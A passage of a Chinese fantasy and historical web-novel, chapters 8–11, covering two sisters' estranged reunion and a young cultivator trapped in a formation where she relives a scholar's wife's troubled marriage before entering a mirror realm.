卒然,关满腹望见了远处坐在一家房门前的一道小小身影,走到佩瑜身后拍了拍,示意她看那儿:“你看,那是谁?”
“书落。”佩瑜飞奔而去。
关满腹注意到,在佩瑜伸手去抱书落时,书落不自然地回避了下。
“姐姐。”书落的手像旧日一样回抱时放在佩瑜的手肘处,这次比以往用了些力道。
“我今天,去你工作的那家绣纺了,他们说,从来没有过望缔这个人。”
关满腹心下一惊,他昨日喝了酒,借着酒劲跟书落说了她姐今日回来的好消息。
他是有些想法在,但不是渴望看到此时佩瑜惊慌失措的面庞。
“你到底,做的是什么活计,真的不可以跟我说吗?”
8. 清与浊
“你到底,做的是什么活计,真的不可以跟我说吗?”
黄昏时的一切都像曾被定格在回忆里的场景——晚风轻柔悠扬,游走在大街小巷。
晚霞气宇轩昂,绚烂得成为了触不可及的童话。
晚归的人呐,不愿倾诉编织的谎话。
何施的注意力全被书落脸上的表情所夺去。
那个小女孩,明明被自己的阿姐拥入怀中,却仿佛被抛在九霄云外。
不,不是的,她确实是像隔着一层屏障进不来的观赏者。
记忆深处,谁好像也用这种目光注视了某个场景很久很久。
嘶,她猛的头疼了下,思绪骤然被拉到太清的经历去。
那次闲话事件后,圣上当着她的面将那几个宫女召遣到御花园来,吩咐锦衣卫行使杖责。
棍子落下去的瞬间点点红梅绽放在纯白的里裤上,是以人血绘制的冬景图。
负责杖责的锦衣卫毫不留情,宫女们嘴里咬着的布也涌出血色来,等这色全上完了,一张张鲜艳的帕子横空出世。
人呢,有些咽气,命丧于此,有些命好的,留着一口气,奄奄一息。
死去的宫女里有一位与众不同,别人受罚时都低眉顺眼,缩着脑袋唯恐又惹恼了贵人,她偏不。
行刑时她看着太清,目光很专注,只倒映出她一人的身形。
打得越狠,盯得越紧。
随着一下又一下下了狠劲的力道,她渐渐气短了,原本上扬的脖颈一点点下落。
可就在最后几乎没气的时刻,她忽的使了最后全部的劲,把面庞朝向能够到的上方,眼里闪着得让人发憷的光。
隔着段距离的太清,看着那幕似是被吓到了,目不转睛。
她眼也不眨地直直望着,望了很久,像要把那副场景刻进骨子里似的。
当天夜里太女高烧不退,嘴里不停念叨着什么,若凑得近了,方能听清,她是在说:梁寄。
一位,与太清渊源颇深的故人。
风云难测,天空替谁流了泪,低沉地落入地上聚集的雨水,在映照谁。
“小姑娘,许是你记错了你阿姐绣纺的名?”
辛弃掷半蹲下来笑着与书落打岔,佩瑜感激地望了她一眼。
这一眼,落入了书落的眼。
回抱时小小的双手垂下,在衣袖旁攥成拳。
不甘的烈焰染于唇齿之间,书落一字一顿,牢牢盯着辛弃掷反驳:“我永远,不会记错有关阿姐的事。”
关满腹悄悄撇了眼佩瑜的神色,有意缓和气氛:“好了好了,书落你这是做什么呢?你阿姐回来了,你不开心吗?”
“开心?”
书落咀嚼了几遍这两个字,推开了身前的佩瑜。
“阿姐,今日放榜,我去瞧了,榜上有我的名。”
她淡淡告知了这一喜讯。
佩瑜微微张嘴,被这消息震在原地,魔怔般呐呐重复:“榜上有名,榜上有名,好啊!榜上有名。”
刷的,她流下两行清泪。
书落望见这幅场景也绷不住了,冲上前与佩瑜相拥在一起,吐露出了心声:“阿姐,我刚刚不是在怪你。”
“我,我是怪我自己,我从来帮不上你什么忙,可是阿姐你从来没抛下过我。”
“但是我呢!我要是再去一次阿姐的绣纺,我就能发现阿姐实际上不在那里做工,”
书落搂紧了佩瑜的腰,闷声哭泣:“我是不是养不熟的白眼狼?”
她不提这事还好,一提关满腹就记起以往每次阻挠书落去绣纺,他抓耳挠腮想出来的招数,心虚地刮了刮脸。
书落在泪眼婆娑中恍然抓过一丝清明,定了定心神,用眼神询问佩瑜。
佩瑜瞪了关满腹一眼后,揉了揉书落的头,这才告知实情:“我不在的那几年,是去当花魁了。”
花、魁。
书落的脑内炸开了烟花。
她不是不知道花魁什么意思,那段刻骨铭心的逃亡日子里她们遇上过很多人。
书落犹记某次在一地休整时,有个色眯眯的大汉过来骚扰望缔,说阿姐的脸天生就是做花魁的料,还想上手摸一把。
周边坐或站的人都或多或少不着痕迹地扫了眼他们的状况,却也没人出来制止。
灾难临头,没人想做泥菩萨。
所幸的是阿姐自幼干活,端看那张脸,绝想不到她有多大力气。
那人被她骗去偏僻地没了性命,望缔沾了一手血回来,静看事态发展的众人被这变故一惊,神态各异。
就在那种时刻,她都没想过入贱籍。
但就在刚刚,她几年未见的阿姐说了什么,她说——她未见她的那几年,她去做花魁了。
喉间涌上痒意,书落艰难地开口;“是因为我吗?”
佩瑜望着她咬唇不答。
“我明白了。”书落仿佛一下子泄了全身力气,倒了下去。
*
天下熙熙,皆为利来;天下壤壤,皆为利往。
书落烧得很厉害,恍惚间,她望着床边的那盏小灯,落下泪来。
灯做得并不精致,甚至可以说是粗糙,那是阿姐几年离家前,与她看灯会时买了给她的。
她读书是为了什么呢?
是为了功成名就吗,好像是;是为了证明给那抛弃她们的爹娘看她能做得比男子更好吗,也有这份心。
可最初的最初啊,是她和阿姐安居在这座城的一个深夜,她望着晚归的阿姐,想着,她要让阿姐过得好。
她想去考取功名。
有了名,就会有利。
有了利,却是为了安居。
可就算是她想为阿姐分担的这份心,身后竟也还是阿姐在操持。
怎么会有她这么没用的人呢?
屋外的人在与郎中交谈,屋内的人把身影蜷缩于被下,默默泪如雨下。
“哒、哒、哒。”
“谁?”
书落耳力好,听清有谁踏步站在了床侧。
她背向那人,警惕地压低了音量,好不叫人察觉泣音。
“何施。”
来者清晰地报上名讳。
书落用余光瞥见了月白色的衣裳,是那个同阿姐一道归来,从没出过声的小女孩。
“有什么事吗?”
“你、”
何施不知该不该问下去,师父在她下山前交于她一本小册。
书中说,若遇心之所往,便是机遇已到。
方才她在这屋中感受到了很强烈的情感,身体好像被什么所控,不知不觉进了屋来,想来,应是她的缘。
“你可知,情从何处来?”
“人非草木,孰能无情?”书落冷漠应答。
“草木便无情?”何施的眉头纠在一起。
“草木
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是死物,人若无情,岂非与死物相当?”书落拉了拉有点下滑的被窝。
何施不知怎么下意识地对这说法产生不喜,但还是道谢,默默吸收了汇集于书落头顶的那团气。
她离去前,扒着门框又问了句:“可否冒昧问下,你与你阿姐为何对彼此这般好?是因血缘牵连?”
书落刷的掀开了被子,红通通的双眸恶狠狠地注视着何施:“你怎可把我同阿姐的情谊说得如此肤浅?”
“单单就说人生在世,你难道没遇到过一个只是看见她,就想对她的好的人吗?”
书落未曾望见,在她说完那句话后何施用指甲抠掉了门上的一块红漆。
她只听见了对方淡漠中藏着一丝悲哀的解释:“我不知自己从哪儿来,也不知自己要到哪儿去,若与一人牵扯颇深,最后只怕两败俱伤。”
原来不是不想,只是害怕。
书落也说不清自己怎么就突然起了劝解的心:“人生苦短,及时行乐。”
何施淡淡地笑了笑:“你也是。”
*
上山的路明明与下山是一道,却因心境不同,何施顿觉路程苦长。
走到半路风声阵阵,似山雨欲来。
她未察觉到这蹊跷,仍一步一个脚印地往上踏。
跟在她身后的辛弃掷倒是有所察觉,诧异地让平冤分出魂识去探一探情况。
等到离宗门还有一段距离,何施闻到了浓郁的血腥味,来不及细想匆匆上山。
辛弃掷心神一凝,召平冤速归,边听山上情况边追赶上何施。
情况很不妙。
血迹从宗门牌匾的泥土上一路蜿蜒至里。
何施的心怦怦直跳,呼吸从未有过的急促,待见着人影了,脚步一顿,不敢上前去。
在议事厅的台阶前,有一人着红衣倒在冰凉的地上,身子没有起伏的幅度,生死不明。
另一人坐在台阶上,望着地上的伤患,脸色晦暗神色难辨,末了,不知想起什么,悠悠叹了口气。
转头随意一撇,见着了几米开外一旁观望的何施。
“怎么偏偏这时归来?”
镜妖的脸色又黑了几分。
“算了,你赶快去议事厅后院那儿,时守跟人打起来了,她们人多,我怕他落不着好,你——能帮就帮吧。”
“帮不了,那也是他的命数。”
镜妖交代完后又低头盯着宿惟了,没再多言。
“这世上,还从没我破不了的命数。”
一人略过三人带起一阵疾风,瞧着方向便是议事厅后院。
眼见辛弃掷跑去帮忙,何施稍微安了安心。
辛弃掷的修为比她高太多了,便没急着往自家师父那儿凑。
蹲下身来,伸出一根手指往宿惟的鼻息那儿一探,还好,气息尚在,只是微弱得叫人着急。
“不用就医吗?”
何施与镜妖四目相对。
“时守给他喂了几颗丹药,吊着命呢,死不了。”
镜妖虽是嘴上不饶人,但何施瞧见她在衣袖里的手握紧了。
“是不是没钱看?”
何施愕然想起下山前对过的账,恍然大悟。
镜妖未搭话,唇微微抿起,想了下有意转移她注意:“你还是去看看时守那儿吧,我不放心。”
何施看了看地上被血浸泡的衣袖,应下,飞快地往后院奔去。
9. 试问情为何物
何施赶到议事厅后院时,适逢时守与辛弃掷处于上风。
在旁观战的苗疆弟子瞧见又有人来助战,匆匆操控连心蛊,告知正值酣战的五人。
五人收到讯息,心神一凛,不着痕迹地互相对了个眼神。
须臾,有人接连使出让人眼花缭乱的假把式,有人从袖中丢出各种小虫子,有人暗暗放出了丝线……
这一套操作下来,时守与辛弃掷已无暇关注到何施。
等能分出心神之际,只见几个苗疆弟子站在特定方位,何施被围在中间,一阵白光闪烁,阵法已成。
/
木家村,一阵响亮的哭啼打破了屋内的沉寂,内屋的丫鬟掀开帘子,朝外屋瞥去,细细留意起众人反应。
位于上座的老夫人看不出端倪,慢悠悠地呷了一口茶品。
老夫人旁坐的老爷倒是悠悠叹了口气,让偷看的丫鬟心一提,慌慌忙去望先生。
这一看可不得了,先生,先生他竟在笑!
她手一抖,弄出些动静来。
老夫人不紧不慢地放下茶杯,开口让她把小丫头抱来外屋来瞧瞧。
丫鬟应下后先去禀告了小姐,小姐原本正感叹着怎的不是个儿郎。
这一打岔,语气也不怎么能悲天悯人起来了,抚摸婴儿面颊的动作也停下。
还不信邪地反复确认:“你是说,老夫人要见小丫头?”
“回主子,千真万确。”
背靠靠枕的妇人这才露出真情实意的笑来,将包裹在软布中的婴孩交与丫鬟,琢磨着老夫人的举动交代道:“到前头去,知道怎么搭话的吧?”
“主子放心,秋水跟王婆学过。”妇人点了点头,便由着丫鬟去了。
*
近些年来,木家村的谈资五花八门,唯有一点共通性——围绕在木意行那个病秧子闺女身上。
木意行这人,说命好也命好,方圆百里的木家村这些年来独独出了他这么一位举人,开了家私塾被人捧着敬着,平日里都尊称一声先生。
说命不好吧,命里还真带点衰。
他家是众所周知的子嗣缘单薄,每位当家人所出基本只有一位。
据说其祖上曾有一位为了破解这荒诞的传承使尽千方百计也未能得逞。
可偏偏那些人与木意行相比还能算得上运气极佳,也不为什么,只是当权时或多或少诞生了位男婴,家族得以延续。
而木意行呢,早年得高人一卦,说命中子女只得一位。
等他妻儿怀上,木府可以说是处于水深火热之中。
老爷天天瞅着那肚皮,恨不得立马从里头蹦出个孙儿,老夫人听闻日日在佛堂跪拜佛祖,手抄佛经还吃上了斋。
而木意行,抓起了三字经,夜夜在那渐渐鼓起的肚子旁念叨。
外界从此推断这胎,要不是个儿郎,木府,怕是有得热闹瞧了。
七年前,木府请来的稳婆透露,是个女婴,众人抻长了脖子从大门口往里望,没啥动静,面面相觑。
接着木意行就打了他们一个猝不及防,他把他那女娃带进了学堂!
这女娃也让人津津乐道,女娃名叫木知,虽打娘胎生下来身子骨就弱,但她读起书来,真叫人感叹奈何不是男儿身。
每逢测验只要她在,第一的名头从不落到他人头上。
学子们的爹娘也渐渐从一次次的打击中接受事实,不再每次成绩下来后恨铁不成钢地打骂。
而这位被人所熟知的女子,正是如今被困于阵中无法掌握身体自主权的何施。
话说那日,她棋差一着中了招,睁眼就看见了在屋子里围观她的一众人等。
下意识想抬起手,却发现做不到,她原以为是年龄太小导致的没力气,逐渐成长才察觉她仿佛是被塞在这具身体围观她人生的观众。
这位姑娘顶着全府的期望出生,性别没能如了大家的愿。
所有人都说她爹是因此受到了刺激,竟带她去读书。
等木知长至七岁,私塾学子们的爹娘们开始闹了。
那会儿还讲究男女七岁不同席,木意行就专门搞了块帘子将她隔开。
待木知豆蔻年华,有人上门提亲,正是私塾一学子。
何施通过木知的视线注视着面前这个眉眼精致的少年,她认得他,是每回被木知压在底下的第二,奚言。
不同于木知因性别在私塾的孤僻,他性子好,能力强,人缘极佳。
原本在学府中毫无交集的两个人,是在一次比试中的交锋中有了接触。
那是一场辩论,他们是敌手。
话语是很奇妙的东西,它是恶徒伪装成绅士披上的人皮,是刺向亲近之人的利刃,却也是构建惺惺相惜的知己的纽带。
在那个半封闭的学堂,字斟句酌的嚼文嚼字,气势凌厉得不分伯仲,甚至是反驳时眉目的交汇,最终汇集成思想的碰撞摩擦出火花。
情这一字,如涓涓流水,有了头,便会流下去。
木知和奚言的交集一点点扩大,从藏书阁、练武场偶尔碰面的寒暄发展到日常生活中。
他会带着题目来请教,问询完了也不离开,静静地待在旁边淡笑着围观她做事。
她会在书里夹上写了字的竹片递给他,再在收到回信后的深夜里,一遍遍揣摩字里行间流露出的、无法自控的情愫。
两颗年轻赤忱的心脏,就这样逐渐靠近、依偎。
对于一对两情相悦的有情人来讲,成亲似乎是理所当然水到渠成的事。
但何施察觉,木知眼里的光,在婚后灭了。
木知很有才情,应当说她的才华远胜于大多数寻常男子,在未出嫁前,她是一块待琢的璞玉。
她写诗,写词,写想写的一切。
待成了亲,她要持家,要辗转于妇人的交际,伴随她的不再是风花雪月,围绕成了鸡毛狗碎。
她几乎没时间提笔,一旦握笔,方觉已不知从何说起。
这才惊觉,她的才华似乎在这种家长里短中被磨尽,她再也写不出触动人心弦的文字了。
在认识到这使她痛苦万分的事实后,新婚的甜蜜很快消失殆尽。
奚言很忙,成亲之日适逢他金榜题名,入了翰林院后某天偶然得圣上垂青,入了刑部。
又一更深夜重,奚言带着满身疲倦走进里间。
他脱下外衫放在衣架上,余光瞥见木知在烛火映照下显得格外心事重重的脸庞,随口一问:“最近有什么烦心事吗?”
木知被这问询打得措手不及,脸上显出几分慌乱,偏又不想被人看出,一时脸上纠成一团。
奚言顿觉这些时日不分昼夜被公务围绕的烦闷一扫而空,笑出了声,惹来木知嗔怪一眼。
上了床将木知拥个满怀,手上已
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经做起小动作来,嘴上倒仍旧正经地关怀新婚妻子:“说与我听听,嗯?”
木知被他搅得心烦意乱,反手将他作乱的手拍下,目光正巧扫过他挂起的官袍。
她心绪微动,小鸟依人地往奚言怀里窝了窝,状似不经意地顺口问一嘴:“刑部的档案中,有好玩的案件吗?”
“有啊——”
木知下意识挺直了腰背,奚言拥在她腰处的手因这一举动划过她腰腹部的敏感带,引起她片刻战栗,听不清他开合的唇里说着什么话语。
等回过神来,她方才回想起他的回话。
他说,但这不是你该了解的事。
她脸上霎时血色尽失,像幼鸟意识到寻找到的地方不适宜它居住一般果决地远离奚言的桎梏。
“你说什么?”木知细细打量着自己的伴侣,成婚一月,官途顺遂,他的脸庞俊秀如曾经。
似乎一切都没变,似乎一切都变了。
她为了他放下了笔墨纸砚,拾起了账本算盘和她曾经不懂的一切。
可她的改变带给那个曾与她一同窝在藏书阁,耐心地听她分析《大秦邢案卷》的少年、曾信誓旦旦地保证他会永远铭记她为他所做的一切,会带着她的那份一同走向仕途的少年的是什么?
她这才发现,自己有些看不懂他了。
“上床歇息吧。”她喃喃不知说些什么,说完这句便背对奚言进了被窝。
奚言通过被子耸动的身形推断出木知将自个缩成一团的姿势,无声叹了口气。
“喂,你听好了。这一兽,名为刺猬。外壳竖着密密麻麻的刺时,是它察觉到危机,为自己建立的保护壳。”
他们也曾谈天说地,知无不言,她曾拿了一本《兽志谈》,教他一个个认过去。
【刺猬】是她口中最像她的生物,外表看着不好接近,实则内里柔软。
“也许我不像它一样,被伤害了拥有能够反击的武器。可你记住了,一旦我不信任你了,我两,便只能走到老死不相往来了。”
老死不相往来吗?
奚言望着不愿面朝他的木知,眼中闪过迷茫、悔恨、猜疑等等情绪,终而坚定了信念,在床榻空旷的那头躺下。
他静静地看着房梁,精明的头脑头一次转得有些发钝,钝得他发疼。
也罢,老死不相往来,也罢。
他睡死过去了。
/
窗外的野蔷薇开得灿烂盛大,无人观赏也不影响它的艳。
窗里的女主人无心留神飘进鼻腔的香气,楞楞地听贴身丫鬟兴奋地跟她汇报百姓的闲谈和最近的说书故事。
“夫人,你知道吗?刑部的苏侍郎,竟是女扮男装呢!”
“据说她是十年前被抄家了的苏家长女,疑心自家的案有人陷害,做了伪证,这才出此下策,进了朝廷。她一女子……”
她已无心分辨丫鬟还说了什么,耳中只剩下那句——苏侍郎,竟是女扮男装。
奚言在入了刑部的头个晚上,跑着回来告知她这一喜讯,两夫妇欣喜得睡不着觉,窝在一处记刑部官员的信息。
“苏念,位居刑部侍郎,我听闻此人虽个头矮小,不惹圣上喜爱,但断案能力是一流。”他曾钦佩着感慨。
“既如此,你到时就去同人家打好关系啊……”她曾嬉笑着建议。
“娘子的吩咐,为夫,必遵命。”
10. 直教人生死相许
“……你待我如此,是因为苏侍郎吗?”
奚言刚一下朝回府,进了门便遭到了木知的质问。
他动作未有半分凝滞,理直气壮得倒显得她像个跳梁小丑,颇要凹出个此地无银三百两来。
“自成婚伊始,我总觉得我们之间有什么变了。从前我觉得人都会变,这没什么大不了的。”
“现在我可算知道了,变的是你的心啊。”
何施望着这个面前怒火冲天的女子,几乎有些认不出她来。
从入了这个阵开始,她就一直被束缚在木知身上,感知对方的喜怒哀乐,以及七情六欲。
她见证了她的所有成长,她能感受到,对方身上一贯有着一股傲气。
她的傲气从前来源于才气,才气是自身的。
她的傲气成亲后来源于爱意,爱意是奚言给予的。
爱中带着恨,悔恨中夹杂不甘,还有那从前从未有过的仿徨、迷茫和无措等等情绪从木知身上传到何施——早在木知判定奚言变心的那刻,她就被弹出了木知的身体。
“你是在想,怎么出这个阵,对吧?”一道女声突兀地出现在何施脑海。
何施回想了在风满楼那会儿的女音,发现两道音色并不相同。
“你是谁?”何施声音没有起伏,情绪平淡得像个冥顽不灵的石头。
“你不需要知道我是谁,我是来帮你的。”女声转开了话题。
何施抿嘴不语,自风满楼后,她不再轻信于人,是以抿唇不语,面上不经意间泄露一丝防备的神色。
瞧她这般,女声低低嘀咕了句倒是越来越有人情味了,没叫她听着。
等了一会儿,见何施还是不动如山地自顾自待着,女声急急开口:“人界的阵,要开启是很困难的,因为媒介‘灵’不够。”
“若遇到了能开启阵法的人,对方非人哉,或身怀异宝。”
“而这两者中,又是后者更遭忌惮。人界灵气稀薄,一切生物若想在人界使用灵气,便需付出相应代价。”
何施回想起自己每次使用灵气后身体的状况,悟了,随即发问:“既如此,人界修仙岂不是很困难?”
“凡人修仙本就是逆天而行,准确来讲,人界修的并不是仙途,而是真。修真,讲究修体,修气,修性,修神。”
何施本欲追问,可木知心中波动愈发起伏不定,遂按捺下心绪追问现下关键:“你还未说为何帮我?你知破阵之法,是吗?”
“别急,这事儿说来话长,这会儿我且长话短说。几万年前人界有一大能,以阵为道,此法灵气耗损颇多。”
“她想出秘法,将灵气不引入自身,而导入法器中,从而以宝入阵。”
“世上安有两全法,自此大能便需承担任何以此法开启阵法的代价。”
女声幽幽叹了口气,继续说道:“我便是那位大能。所以我帮你,是为了我自己,安心了吗?”
何施点了点脑袋。
女声偷笑了下,暗想这小呆子还是这么好骗,清了清嗓子开口引导:“凡阵,必有阵眼,即入局和出局的联系。”
“你且仔细想想,这个阵,最有可能成为阵法钥匙的——”
“是谁?”
须臾,何施骤然醍醐灌顶。
她自入阵以来,灵魂一直依附于木知身上,从未能离开她百米之外,所以,她要离开阵法应该与木知有关系。
与木知身上的什么有关呢?
她得以逃脱困于束缚的之前,吸收到了木知体内没出现过的情感。
所以,脱阵的关键,也是情吗?
“你猜得不错。”
一道半虚半实的白色人形物突然出现在了木知的身后,敷上了她的影子,只有何施能看见。
“阵法依托阵眼开启,苗疆那帮人只会使蛊,好不容易想了个阴损法子起阵,遇上我,”
何施明明看不清这位高人的相貌,可也被她大言不惭的语气唬住。
料想这来路不明的女子定是有几分真本事,又提起几分精神围观。
“算他们倒霉!”
话音一落,那道白光竟是直直冲进了木知胸腔。
木知身影一晃,再直起身来,气势大变,威严压人。
原想上前搀扶木知的奚言收回了手,语气冷淡到能结起一层冰渣:“你是谁?”
顶着木知面容的神秘女子微微一笑:“一个倾囊相助的好心人。”
奚言眉目微沉,紧盯对面的女子,只见她双手一挥,他感到脑袋一阵晕眩。
不多时,他,离魂了。
刹那,奚言回头望向还笔直站立的自个身影,眯起眼来。
“去寻求你要的真相吧。”
他听见那女子开口。
“他”没有言语,只是朝“木知”行了个礼,朝外走去。
奚言本想留下探探这冒牌货的底细,可随着“他”的离去,他也不自控地紧随其后。
府外,奚言看着顶着自己躯壳的人吩咐身旁的小侍从:“约苏侍郎到天香楼一聚。”
像,太像了,假如不是他自己游离于身躯之外,看着那些他惯有的小动作和措辞习惯,恐怕连他自个也会分不清真假。
如果说占据了木知身体的是孤魂野鬼,那在他体内的,会是木知吗?
抱着变得越发迷茫不清的疑惑,奚言加快速度跟上去。
—天香楼二楼雅阁—
小二低眉顺眼地给三人依次上了茶,不时微拾眼帘偷偷打量着客人。
锦衣华服但面容阴鸷的男子,行为举止十足十的贵气横生,应当是三人中的主导。
坐在中间面容娇俏的少女明显与位于她右侧的男子更亲密些,与左侧那位中间的间隔大得能再挤下两个人。
只是既然如此,为何不让那位位于她右侧面容阴鸷的男子位于中位呢。
不过说来也真是奇怪,谈事时一般默认中位即主位,这三人之中,却是那女子坐了这位子。
小二按下心绪,再瞧了瞧疏离于另外二者的男子,他面目温和,手上没有像另一位一样有着厚厚的茧,只是垂眸盯着握着的茶杯里逐渐上来清澈的茶水看,无端给人冷冰冰的观感。
倒完茶,小二笑吟吟、低眉顺眼地按照惯例来上一句:“客人慢用,有事嘱咐就是。”<
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随后加快步伐出了这包间的门,冲门外守着的随从笑了笑,就赶忙又忙乎其它客人去了。
包间内,一片寂静持续了很久。
良久,少女终于朝着左侧方开了口:“事情一切顺利吗?”
浮于空中的奚言一下子提起心来,他尚未确定那是不是木知。
再说,哪怕她是,他其实从头到尾都没有让她卷入这场风波的心思。
哪怕,这场事件的开端源自于她。
他看见“自己”的手摩挲着杯壁,沉闷着发出一声嗯。
苏念听了后挺直的脊背一下子松垮下来,她喝了口茶水后感慨道:“君子戒的重归笔坛不知道会引起多大风浪。”
在他们谈话期间,奚言没放过“自己”的一举一动,他明确看到,在苏念说出木知笔名的那刻,“他”终于将目光放在了苏念身上,开始打量。
“君子戒,确实是个好名。”
最右侧的男子终于开口,惹来苏念开怀一笑:“玄郎,你可别忘了答应我的,那道旨意落实后,要封个最大的女官给她。”
男子无奈地看着她:“你对她,倒比你自个还上心,这事在我耳边说过百八十遍了。”
他将她捞近自己,困于臂膀之下,喂了她些小食,幽幽开口:“再来一遍,我耳朵就真要生茧了。”
被桎梏在男子臂弯中的苏念突然正色起来,推开了男子的手,朝他行了个君臣礼,语气严肃:“圣上,我知您如今仍在开创女学上有所顾虑,但臣在此请令,不出三年,君子戒,会让您看到女子”
她抬起眼来,无所畏惧地望进年轻帝王幽深的眸:“亦向往太学。”
傅诀将苏念扶起,让她坐好,拾起茶杯徐徐吹气,好掩住神色:“我自是信得过你,再不济,我总不可能信不过奚”
帝王的未出口的话语止于“奚言”洒落的茶水之前,只见他像失了魂一样喃喃自语:“女学,女学好啊,女学……”
室内寂静一片,就连漂浮在空中的奚言也只顾看着“木知”,只觉心中酸涩难言。
一场以情作饵开篇的局,钓的是他那才华横溢却被困后宅的妻。
苏念执手,圣上为引,他亦作棋,诱她入局。
为的,到底是哪颗迷茫没有归途的心。
相识相知相守相恋相爱,一幕又一幕徘徊于脑海,恍惚间,他轻飘飘的魂体好似终于有了重量,压得他喘不上气。
意识清醒的瞬间,入眼是床榻上木知亲手系上的金链,外间的仆从听见了声响,小心翼翼地过来伺候他:“主子,水已打来了,您现今用还是?”
“先放着。”他揉了揉太阳穴,嘶哑着声询问:“今个,有什么大事吗?”
仆从原先利落干活的手脚一顿,思索着轻言细语地交代道:“当下百姓们都在议论圣上要开立女学一事,听闻请来的讲师是许久未出山的君子戒。”
“圣上言,学堂出的女学子,过了科举就算过了明面,只要不婚嫁,便可入朝为官……”
仆从在自家主子泪眼婆娑中咽下了剩下的话,悄然离去。
谁也不知道,那是不是喜极而泣。
11. 交锋
“魂已灭,声将息。”
“阵,破。”
“何施,睁眼。”
何施依言睁开双眸,入眼却是白茫茫一片。
她仍未回到那院中,被困在了一片雾茫茫的迷境中。
这是……哪里?
“前辈?”何施立足于原地未动,试探着出声。
“嗯。”飘忽不定的白色女影在空中聚拢成型,出现在何施面前,而后又消散成细小的微粒不见踪影。
不安逐渐加剧。
“不知前辈这是何意?”
何施并未忘却外头还在打得热火朝天的局面,不知从她入阵至今,已过了几个时辰,她暗自叹息。
良久沉默。
“你……没有道心。”听闻此言,何施不解地蹙眉。
“自古以来……罢了,福祸相依,因果相连,我送你……一场……吧”
让人迷失方向的迷雾逐渐消散,清晰的密林像从天而降一般出现在何施面前。
“去吧,也许这片密林深处……就藏着,你想要的答案。”
*
何施是在走到第九十七步的时候瞧见那个老头的。
对方穿着破破烂烂的衣裳,脸颊两侧像被人拿石头砸过似的往里凹陷,眼睛发亮地盯着自己面前的棋盘,自言自语地嘀咕着什么。
她不欲打搅,默默站到与怪老头相隔约莫十寸左右的方位,凭借良好的视力看清了他面前的棋盘。
——那是一盘残棋。
这是何施根据公主的记忆下意识得到的想法。
但那怪老头不同于千年前使劲浑身解数想方设法破局以望得名的棋士们,他并不碰近在眼前的棋子。
不,不对,何施眯起眸子,与其说是怪老头对棋子置之不理,实则是他有意和棋盘保持了安全的距离,只是低垂着脑袋在那儿看。
那堆棋子们也和记忆中的相反,并不死气沉沉地任人拿捏,而是有了生命似的一个个自顾自活蹦乱跳。
就在她观察的这十几秒内,一颗黑子吞掉了相近的白子,而后绽放出莹绿的光芒,待光芒褪去,映入眼帘的活脱脱是一棵初现茁壮身姿的小树,许是见证了这棵小树的辉煌时刻,何施觉得自己瞧着那棵树便有些心生欢喜。
小树也察觉了何施的情绪,抖了抖自个儿威风凛凛的身姿后成功脱落十几片树叶,惹来怪老头一声笑骂,枝条委屈巴巴地瑟缩了一下,呆呆地望着地上的落叶。
何施适时上前,从落叶堆中捡起她觉得最好看的一片,放至树干处,枝条轻轻地摆动了起来,那怪老头也适时投来视线:“小友可是看够了?”
“无意惊扰前辈,只是晚辈误入此境内,境外急有要事,还望得前辈指点脱离此地。”
那怪老头古怪地哼笑一声,抚着小树青翠的枝条不慌不忙地跟她道来:
“小友可莫急啊,这各人有各人的机缘,今儿你得幸进了这天衍境,俗话说天衍境内窥天机,小友若是能在此镜中修炼,修炼之速可直奔云霄呐,错过这村可就没这店了,还是想清楚的为好,另说一方空间一寸光阴,小友又怎知外头的劫难不是外人的机缘呢?依老道看,不若就此地先修炼上一番,也算不枉费机缘呐。”
一通话砸下来,何施只听出个面前此人希望自己留下来修炼的想法,正想谢过辞别另寻他法,可刹那间头晕脑旋,等立住身形抬眼一瞧,眼前的不正是将她送入天衍境中的白衣女与怪老头吗?
他们并未注意到她,怪老头诚惶诚恐地在白衣女身前半弓下背脊,跟她交代着什么,何施向前一步,脚步声在地面上发出细微的声响,还是没招来一丁点注意,只得出声:“前辈。”
白衣女望来一眼,眸中霎时被惊诧填满,何施正想请求对方将自己送出天衍境,却是又一恍神,再一细细看,跟前哪有什么白衣女,只一怪老头已停下了动作,手搭在小树的躯干上目光微深地等她回话。
刚刚……是幻觉吗?
“算了,”仍是那怪老头先开了口:“既是小友执意要求,那老道也权当圆了这份念想,也还了这场因果。”
话音刚落,镜中突现白雾,拢住了何施的视线,待雾气散去,兵刃相向的武器碰撞声传来,何施这才发觉自己已回到了无情道宗内。
再说另一头,怪老头送出何施后松了气,软下身子靠坐在小树上,小树上一阵荧光闪过,一个满头翠绿发丝的少年扶住了老头的肩膀,跟他诉苦:“闻伯伯,你不是说你少时诵诗书,偶闻奇谈甚多吗,为什么我吞了那灵草后掉了那么多头发啊!”
闻伯借着树灵的搀扶正起身子,瞧了一眼他的满头青丝,叮嘱道:“绿绿啊,你还是不要对此多为看重的好,要是这方时节入了冬,还不知——”
剩下的话语还未出口,树灵已骇然大惊,将他的身子脱了手,闻伯一踉跄,还好没跌落在地,摇着头叹气:“这小子。”却也知他是因自己说的话而上心修炼去了。
顺了顺身上衣衫的褶皱后,他摆好姿态拘谨地向前行礼:“拜见镜主。”
朦胧的雾气在他面前聚成影影倬倬的人形,若是何施还未出境,便能一眼看出这团雾气就是此前“诓骗”她入境的女子。
“做得不错。”虚无望着树灵匆匆离去的背影,意有所指地开口。
“镜主过誉。”闻椹闻言神色微动,仅仅一刹又摆正了面色:“我这条薄命本就是镜主给的,哪怕做得再多都不足以抵过一条人命。”
“闻椹,”虚无似笑非笑地收回看向树灵的视线,将目光落到他身上:“想说什么就说吧,都这么多年了,为了遮掩真实目的怎么还是用的坑蒙拐骗那套呢?”
闻椹低垂下头颅,盯着脚下因被树灵饱食一顿而显得萎靡不振的灵草:“扰了镜主心情是在下不是,现下树灵已显形,在下有个不情之请,望移交守镜人一职。”
虚无扯了扯嘴角:“闻椹,你既然记得你这条命是我给的,那也就该知道,什么时候收回这条命得是我说了算。”
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境内风起,刮得人身上直升寒意,闻椹的头弯得更低了,几乎要与胸腔贴到一处去,他知道,这是虚无心情不虞的显露,常言道天衍境内得以一窥天机,这窥视的一线天机正是虚无的心境。
良久,上方才遥遥传来暗含悲悯的准予:“罢了,我跟你计较这个做什么,你若是在这天衍境内待得厌烦了,我便送你出去,但一方境内一方景,出了这天衍境,尔等生老病死皆与常人无异,你可想好了?”
话音刚落,闻椹便向虚无作揖,周身白光乍现,等浮光褪去,在虚无眼中,他竟一如当年少年模样。
“多谢镜主。”
“你不去向那树灵告别吗?”虚无叹了口气,嘴角抿成一条直线。
